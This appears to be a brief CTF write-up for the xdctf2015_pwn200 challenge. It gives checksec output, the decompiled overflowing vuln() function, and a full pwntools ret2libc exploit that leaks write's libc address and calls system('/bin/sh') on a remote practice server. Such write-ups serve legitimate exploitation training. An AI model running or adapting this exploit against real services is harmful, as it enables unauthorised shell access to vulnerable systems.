HugeH4rD

xdctf2015_pwn200

Ubuntu 16 来源：https://github.com/bash-c/pwn_repo

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/xdctf2015_pwn200/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled			//
    PIE:      No PIE (0x8048000)

IDA

vuln()

ssize_t vuln()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

0x02

---

思路 re2libc

0x03

---

exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
io = remote('node4.buuoj.cn', 29985)
path = './bof'
# io = process([path])
elf = ELF(path)
libc = ELF('./libc-2.23.so')
padding = 0x6c + 0x4
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']
io.recv()
payload = flat(b'a'*padding, write_plt, main, 1, write_got, 0x4)
io.sendline(payload)
write_addr = u32(io.recv(4))
print('[+] wirte_address -->', hex(write_addr))

libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
print('[+] libc_base -->', hex(libc_base))
print('[+] system -->', hex(system))
print('[+] bin_sh -->', hex(bin_sh))

payload1 = flat(b'a'*padding, system, 0, bin_sh)
io.sendline(payload1)

io.interactive()